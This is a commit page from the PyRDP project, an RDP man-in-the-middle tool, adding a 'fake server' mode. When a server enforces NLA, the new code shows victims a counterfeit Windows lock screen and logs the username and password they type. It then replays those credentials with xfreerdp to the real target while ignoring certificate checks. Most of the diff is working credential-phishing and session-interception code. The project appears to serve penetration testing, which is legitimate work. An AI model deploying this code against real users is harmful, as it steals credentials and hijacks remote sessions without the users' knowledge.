Skip to content

Commit 41e9b31

Browse files
committed
fake server: initial version
1 parent 85d7d1a commit 41e9b31

File tree

10 files changed

+324
-3
lines changed

10 files changed

+324
-3
lines changed

pyrdp/mitm/FakeServer.py

Lines changed: 274 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,274 @@
1+
#
2+
# This file is part of the PyRDP project.
3+
# Copyright (C) 2022
4+
# Licensed under the GPLv3 or later.
5+
#
6+
import os, random, shutil, socket, subprocess, threading, time
7+
from tkinter import *
8+
from PIL import Image, ImageTk
9+
from pyvirtualdisplay import Display
10+
from pyrdp.logging import log # TODO: this logs to GLOBAL and not to the session, setup proper logging
11+
12+
BACKGROUND_COLOR = "#044a91"
13+
BASE_DIR = os.path.dirname(os.path.realpath(__file__))
14+
15+
16+
class FakeLoginScreen:
17+
def __init__(self, width=1920, height=1080):
18+
self.clicked = False
19+
20+
# root window
21+
# right now all Xephyr instances are merged together because of Tk but I don't know why this happens
22+
# asked here: https://stackoverflow.com/questions/74552455/
23+
self.root = Tk()
24+
self.root.attributes("-fullscreen", True)
25+
self.root.geometry(f"{width}x{height}")
26+
# TODO: only accepts main return key (not from numpad)
27+
self.root.bind("<Return>", self.on_click)
28+
29+
self._set_background(width, height)
30+
self._set_entries()
31+
32+
# frames for loading animation
33+
self.frame_count = 50
34+
self.frames = [
35+
PhotoImage(
36+
file=BASE_DIR + "/images/WindowsLoadingScreenSmall.gif",
37+
format=f"gif -index {i}",
38+
master=self.root,
39+
)
40+
for i in range(self.frame_count)
41+
]
42+
43+
# label for loading animation
44+
self.label_loading_animation = Label(self.root, borderwidth=0)
45+
46+
def _set_background(self, width=1920, height=1080):
47+
# background file
48+
self.background_image = Image.open(
49+
BASE_DIR + "/images/WindowsLockScreen.png"
50+
).resize((width, height))
51+
self.background = ImageTk.PhotoImage(self.background_image, master=self.root)
52+
53+
# background label
54+
if (
55+
hasattr(self, "label_background")
56+
and self.label_background is not None
57+
and not self.clicked
58+
):
59+
self.label_background.destroy()
60+
self.label_background = Label(self.root, image=self.background, borderwidth=0)
61+
self.label_background.place(x=0, y=0)
62+
self.label_background.lower()
63+
64+
def _set_entries(self):
65+
# username entry
66+
self.entry_username = Entry(
67+
self.root,
68+
font=("Segoe UI", 13),
69+
bd=2,
70+
bg="white",
71+
insertofftime=600,
72+
insertwidth="1p",
73+
highlightthickness=1,
74+
highlightbackground="gray",
75+
highlightcolor="#eaeaea",
76+
)
77+
self.entry_username.place(
78+
relx=0.5, rely=0.61, anchor=CENTER, height=40, width=290
79+
)
80+
self.entry_username.focus()
81+
82+
# password entry
83+
self.entry_password = Entry(
84+
self.root,
85+
show="•",
86+
font=("Segoe UI", 20),
87+
bd=2,
88+
bg="white",
89+
insertofftime=600,
90+
insertwidth="1p",
91+
highlightthickness=1,
92+
highlightbackground="gray",
93+
highlightcolor="gray",
94+
)
95+
# place password entry relative to username entry
96+
self.entry_password.place(
97+
in_=self.entry_username, height=40, width=257, relx=0, x=-3, rely=1.0, y=15
98+
)
99+
100+
# login button - the image must be assigned to self to avoid garbage collection
101+
self.image_button_login = PhotoImage(
102+
file=BASE_DIR + "/images/LoginButton.png", master=self.root
103+
)
104+
self.button_login = Button(
105+
self.root,
106+
image=self.image_button_login,
107+
command=self.on_click,
108+
width=34,
109+
height=34,
110+
highlightthickness=1,
111+
highlightbackground="gray",
112+
highlightcolor="gray",
113+
)
114+
self.button_login.place(in_=self.entry_password, relx=1.0, x=-3, rely=0.0, y=-3)
115+
116+
def show(self):
117+
# show window
118+
self.root.mainloop()
119+
120+
def resize(self, width: int, height: int):
121+
self.root.geometry(f"{width}x{height}")
122+
self._set_background(width, height)
123+
124+
def set_username(self, username: str):
125+
self.entry_username.delete(0, END)
126+
self.entry_username.insert(0, username)
127+
self.entry_password.focus()
128+
129+
def on_click(self, event=None):
130+
self.clicked = True
131+
self.username = self.entry_username.get()
132+
self.password = self.entry_password.get()
133+
log.info(
134+
"Obtained %(username)s:%(password)s in fake server",
135+
{"username": self.username, "password": self.password},
136+
)
137+
print(f"Obtained {self.username}:{self.password} in fake server")
138+
# block pressing enter
139+
self.root.unbind("<Return>")
140+
# replace background (didn't find a less clunky way)
141+
self.background_image.paste(
142+
BACKGROUND_COLOR,
143+
[0, 0, self.background_image.size[0], self.background_image.size[1]],
144+
)
145+
self.background = ImageTk.PhotoImage(self.background_image, master=self.root)
146+
self.label_background.configure(image=self.background)
147+
# place label for loading animation
148+
self.label_loading_animation.place(relx=0.42, rely=0.35)
149+
# remove items
150+
self.entry_username.destroy()
151+
self.entry_password.destroy()
152+
self.button_login.destroy()
153+
# quit
154+
self.root.destroy()
155+
156+
def show_loading_animation(self, index):
157+
if index == self.frame_count:
158+
self.root.destroy()
159+
return
160+
self.label_loading_animation.configure(image=self.frames[index])
161+
self.root.after(100, self.show_loading_animation, index + 1)
162+
163+
164+
class FakeServer(threading.Thread):
165+
def __init__(self):
166+
super().__init__()
167+
self._launch_display()
168+
169+
self.fakeLoginScreen = None
170+
171+
self.port = 3389 + random.randint(1, 10000)
172+
self._launch_rdp_server()
173+
174+
def _launch_display(self, width=1920, height=1080):
175+
self.display = Display(
176+
backend="xephyr",
177+
size=(width, height),
178+
extra_args=["-no-host-grab", "-noreset"],
179+
) # noreset for xsetroot required
180+
self.display.start()
181+
self.display.env()
182+
# set background to windows blue
183+
self.xsetroot_process = subprocess.Popen(
184+
[
185+
shutil.which("xsetroot"),
186+
"-solid",
187+
BACKGROUND_COLOR,
188+
]
189+
)
190+
191+
def _launch_rdp_server(self):
192+
# TODO check if port is not already taken
193+
log.info(
194+
"Launching freerdp-shadow-cli (RDP Server) on port %(port)d",
195+
{"port": self.port},
196+
)
197+
rdp_server_cmd = [
198+
shutil.which("freerdp-shadow-cli"),
199+
"/bind-address:127.0.0.1",
200+
"/port:" + str(self.port),
201+
"/sec:tls",
202+
"-auth",
203+
]
204+
self.rdp_server_process = subprocess.Popen(rdp_server_cmd)
205+
# TODO: fix cert on fake server
206+
207+
# wait for the server to accept connections
208+
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
209+
# FIXME maybe configure listen address
210+
ctr = 0
211+
threshold = 5
212+
while sock.connect_ex(("127.0.0.1", self.port)) != 0:
213+
log.info("Fake server is not running yet")
214+
time.sleep(0.1)
215+
if ctr > threshold:
216+
log.info("RDP server process did not launch within time, retrying...")
217+
self.rdp_server_process.kill()
218+
self._launch_rdp_server()
219+
break
220+
sock.close()
221+
222+
def run(self):
223+
self.fakeLoginScreen = FakeLoginScreen()
224+
self.fakeLoginScreen.show()
225+
username = self.fakeLoginScreen.username
226+
password = self.fakeLoginScreen.password
227+
self.fakeLoginScreen = None
228+
229+
rdp_client_cmd = [
230+
shutil.which("xfreerdp"),
231+
"/v:192.168.251.12", # TODO make dynamic,
232+
"/u:" + username,
233+
"/p:" + password,
234+
"/cert:ignore",
235+
"/f",
236+
"-toggle-fullscreen",
237+
"/log-level:ERROR",
238+
]
239+
self.rdp_client_process = subprocess.run(rdp_client_cmd)
240+
self.terminate()
241+
242+
def resize(self, width: int, height: int):
243+
subprocess.run(
244+
[
245+
"xdotool",
246+
"search",
247+
"--name",
248+
"Xephyr",
249+
"windowsize",
250+
str(width),
251+
str(height),
252+
],
253+
env={"DISPLAY": ":0"},
254+
)
255+
if self.fakeLoginScreen is not None:
256+
self.fakeLoginScreen.resize(width, height)
257+
258+
def set_username(self, username: str):
259+
# FIXME: properly solve this concurrency
260+
if self.fakeLoginScreen is None:
261+
time.sleep(0.1)
262+
if self.fakeLoginScreen is not None:
263+
self.fakeLoginScreen.set_username(username)
264+
265+
def terminate(self):
266+
# TODO: the user sees "An internal error has occurred."
267+
for proc in (
268+
self.rdp_server_process,
269+
self.xsetroot_process,
270+
self.rdp_client_process,
271+
):
272+
if not isinstance(proc, subprocess.CompletedProcess):
273+
proc.kill()
274+
self.display.stop()

pyrdp/mitm/RDPMITM.py

Lines changed: 16 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,9 @@
77
import asyncio
88
import datetime
99
import typing
10+
import ssl
1011

12+
from OpenSSL import crypto
1113
from twisted.internet import reactor
1214
from twisted.internet.protocol import Protocol
1315

@@ -218,7 +220,20 @@ async def connectToServer(self):
218220
self.log.error("Failed to connect to recording host: timeout expired")
219221

220222
def doClientTls(self):
221-
cert = self.server.tcp.transport.getPeerCertificate()
223+
if self.state.isRedirected():
224+
self.log.info(
225+
"Fetching certificate of the original host %(host)s:%(port)d because of NLA redirection",
226+
{
227+
"host": self.state.config.targetHost,
228+
"port": self.state.config.targetPort,
229+
},
230+
)
231+
pem = ssl.get_server_certificate(
232+
(self.state.config.targetHost, self.state.config.targetPort)
233+
)
234+
cert = crypto.load_certificate(crypto.FILETYPE_PEM, pem)
235+
else:
236+
cert = self.server.tcp.transport.getPeerCertificate()
222237
if not cert:
223238
# Wait for server certificate
224239
reactor.callLater(1, self.doClientTls)

pyrdp/mitm/SecurityMITM.py

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -78,6 +78,9 @@ def onClientInfo(self, data: bytes):
7878
"clientAddress": clientAddress
7979
})
8080

81+
if self.state.fakeServer is not None:
82+
self.state.fakeServer.set_username(pdu.username)
83+
8184
self.recorder.record(pdu, PlayerPDUType.CLIENT_INFO)
8285

8386
# If set, replace the provided username and password to connect the user regardless of

pyrdp/mitm/X224MITM.py

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -128,7 +128,14 @@ def onConnectionConfirm(self, pdu: X224ConnectionConfirmPDU):
128128
# Disconnect from current server
129129
self.disconnector()
130130

131-
if self.state.canRedirect():
131+
if self.state.config.fakeServer:
132+
# Activate configuration
133+
self.state.useFakeServer()
134+
self.log.info("The server forces the use of NLA. Launched local RDP server on %(host)s:%(port)d", {
135+
"host": self.state.effectiveTargetHost,
136+
"port": self.state.effectiveTargetPort
137+
})
138+
elif self.state.canRedirect():
132139
self.log.info("The server forces the use of NLA. Using redirection host: %(redirectionHost)s:%(redirectionPort)d", {
133140
"redirectionHost": self.state.config.redirectionHost,
134141
"redirectionPort": self.state.config.redirectionPort

pyrdp/mitm/cli.py

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -130,6 +130,7 @@ def buildArgParser():
130130
action="store_true")
131131
parser.add_argument("--nla-redirection-host", help="Redirection target ip if NLA is enforced", default=None)
132132
parser.add_argument("--nla-redirection-port", help="Redirection target port if NLA is enforced", type=int, default=None)
133+
parser.add_argument("--nla-fake-server", help="Launch fake server (local rdp server + xfreerdp client) if NLA is enforced", action="store_true")
133134
parser.add_argument("--ssp-challenge", help="Set challenge for SSP authentictation (e.g. 1122334455667788). Incompatible with --auth ssp.", type=str, default=None)
134135

135136
return parser
@@ -171,6 +172,9 @@ def configure(cmdline=None) -> MITMConfig:
171172
sys.stderr.write('Error: please provide both --nla-redirection-host and --nla-redirection-port\n')
172173
sys.exit(1)
173174

175+
if args.nla_fake_server and args.nla_redirection_host:
176+
sys.stderr.write('Error: fake server is not compatible with NLA redirection, because the redirection will happen to localhost')
177+
174178
if args.ssp_challenge is not None and "ssp" in args.auth:
175179
sys.stderr.write('Error: Using a fixed challenge does not work with --auth ssp which is meant to specify an NLA bypass. '
176180
'Without --auth ssp, an authentication downgrade attack will be attempted and if it is not possible, '
@@ -212,6 +216,9 @@ def configure(cmdline=None) -> MITMConfig:
212216
config.useGdi = not args.no_gdi
213217
config.redirectionHost = args.nla_redirection_host
214218
config.redirectionPort = args.nla_redirection_port
219+
if args.nla_fake_server:
220+
config.redirectionHost = "127.0.0.1"
221+
config.fakeServer = args.nla_fake_server
215222
config.sspChallenge = args.ssp_challenge
216223

217224
payload = None

pyrdp/mitm/images/LoginButton.png

2.63 KB
Loading
594 KB
Loading
6.36 MB
Loading

pyrdp/mitm/state.py

Lines changed: 14 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,7 @@
1414
from pyrdp.pdu import ClientChannelDefinition
1515
from pyrdp.security import RC4CrypterProxy, SecuritySettings
1616
from pyrdp.mitm import MITMConfig
17+
from pyrdp.mitm.FakeServer import FakeServer
1718

1819

1920
class RDPMITMState:
@@ -90,6 +91,9 @@ def __init__(self, config: MITMConfig, sessionID: str):
9091
self.ntlmCapture = False
9192
"""Hijack connection from server and capture NTML hash"""
9293

94+
self.fakeServer = None
95+
"""The current fake server"""
96+
9397
self.securitySettings.addObserver(self.crypters[ParserMode.CLIENT])
9498
self.securitySettings.addObserver(self.crypters[ParserMode.SERVER])
9599

@@ -121,8 +125,17 @@ def canRedirect(self) -> bool:
121125
return None not in [self.config.redirectionHost, self.config.redirectionPort] and not self.isRedirected()
122126

123127
def isRedirected(self) -> bool:
124-
return self.effectiveTargetHost == self.config.redirectionHost and self.effectiveTargetPort == self.config.redirectionPort
128+
return (
129+
self.effectiveTargetHost == self.config.redirectionHost
130+
and self.effectiveTargetPort == self.config.redirectionPort
131+
) or self.fakeServer is not None
125132

126133
def useRedirectionHost(self):
127134
self.effectiveTargetHost = self.config.redirectionHost
128135
self.effectiveTargetPort = self.config.redirectionPort
136+
137+
def useFakeServer(self):
138+
self.fakeServer = FakeServer()
139+
self.effectiveTargetHost = "127.0.0.1"
140+
self.effectiveTargetPort = self.fakeServer.port
141+
self.fakeServer.start()

0 commit comments

Comments
 (0)